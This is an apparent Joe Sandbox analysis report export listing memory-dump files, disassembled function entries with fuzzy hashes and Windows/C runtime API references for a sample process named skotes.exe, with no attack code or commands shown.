Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f5366ffbe4b618dceb941b55050e72184d75ace7ab1070a7b0b4a8b1fba9d1a3
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F3115B772001CA43E60C8A3DCAB45F7A795EBC53697EC637AC3427B748DA22D8419600

Function 00EEA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 61967cdf2cd76f1d6323d63469ba6599fe0911cb80c84721b5590d171bcf4b56
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 0AE0863291116CEBCB14DB99C50498EF3ECEB49B00B55106AF501E3250C270EE00C7D0

Function 00EB2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EB2F5F
GetCurrentThreadId.KERNEL32 ref: 00EB2F7E
__Mtx_unlock.LIBCPMT ref: 00EB2FCC
__Cnd_broadcast.LIBCPMT ref: 00EB2FE3
__Mtx_unlock.LIBCPMT ref: 00EB30F5
GetCurrentThreadId.KERNEL32 ref: 00EB3132
__Mtx_unlock.LIBCPMT ref: 00EB319B

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction ID: 924b8eccaf7d4362bdb982d92894bc7d742d61c020348e4af729e0e73bd6c356
Opcode Fuzzy Hash: f71498d7300ed232b924b0220695a7806a5cb9df5442b14273d0e19cab7002c3
Instruction Fuzzy Hash: 75A1D270A016059FDB10DB74CA45BABB7E8FF15318F14912DE819F7251EB32EA05CB91

Function 00EECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EECC66

Strings

v, xrefs: 00EECBE1

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 998f46ccf1bc3f52bf6e6ef7529c5f3734c083e9d22842cab6f5f45ef25e9a5d
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: C2B111329002C99FDB158F6AC881BBEBBE5EF45344F3451AAE855FB242D6359D02CB60

Function 00ECBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ECBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ECBBE4
_xtime_get.LIBCPMT ref: 00ECBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00ECBC13

Memory Dump Source

Source File: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000000.00000002.2108737379.0000000000EB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108752240.0000000000F12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108810287.0000000000F19000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108825547.0000000000F1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108841813.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108975368.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2108992673.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.000000000109B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109043429.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109056909.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109070669.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109085283.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109101813.00000000010B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109121929.00000000010B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109138113.00000000010BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109152636.00000000010BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109166889.00000000010BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109182260.00000000010C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109204520.00000000010E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109224692.00000000010F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109243542.000000000110C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109263138.0000000001112000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109286174.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109314718.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109336373.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109359495.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109376438.0000000001132000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109391214.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109404905.0000000001135000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109420568.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109435863.0000000001140000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109455839.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109566616.0000000001148000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109585636.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109600415.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109616859.0000000001153000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109636838.0000000001164000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109652621.0000000001167000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109668086.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109683100.0000000001169000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109698240.000000000116A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.000000000116C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109713474.0000000001193000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109757237.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109771956.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109787774.00000000011C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109803892.00000000011C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109818359.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109833315.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109847962.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109865943.00000000011DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109881201.00000000011DB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c02fb1969a86da8d9ae371874a44b4ebc4d54d3d51e945786e4422ee919f0e2a
Instruction ID: c7eed2ad7f18daaffa79b2c9d1be7a4d6b4a872ab5e8f106a0bb048007de42d8
Opcode Fuzzy Hash: c02fb1969a86da8d9ae371874a44b4ebc4d54d3d51e945786e4422ee919f0e2a
Instruction Fuzzy Hash: B8211D71A00119AFDF00EBA4DA82EBEB7B9EF48714F50505DF505B7251DB319D029BA1

Analysis Process: skotes.exePID: 1976, Parent PID: 4140COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1838
Total number of Limit Nodes:	15

Executed Functions

Function 006F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,006F652A,?,?,?,?,?,006F7661), ref: 006F6567

Memory Dump Source

Source File: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

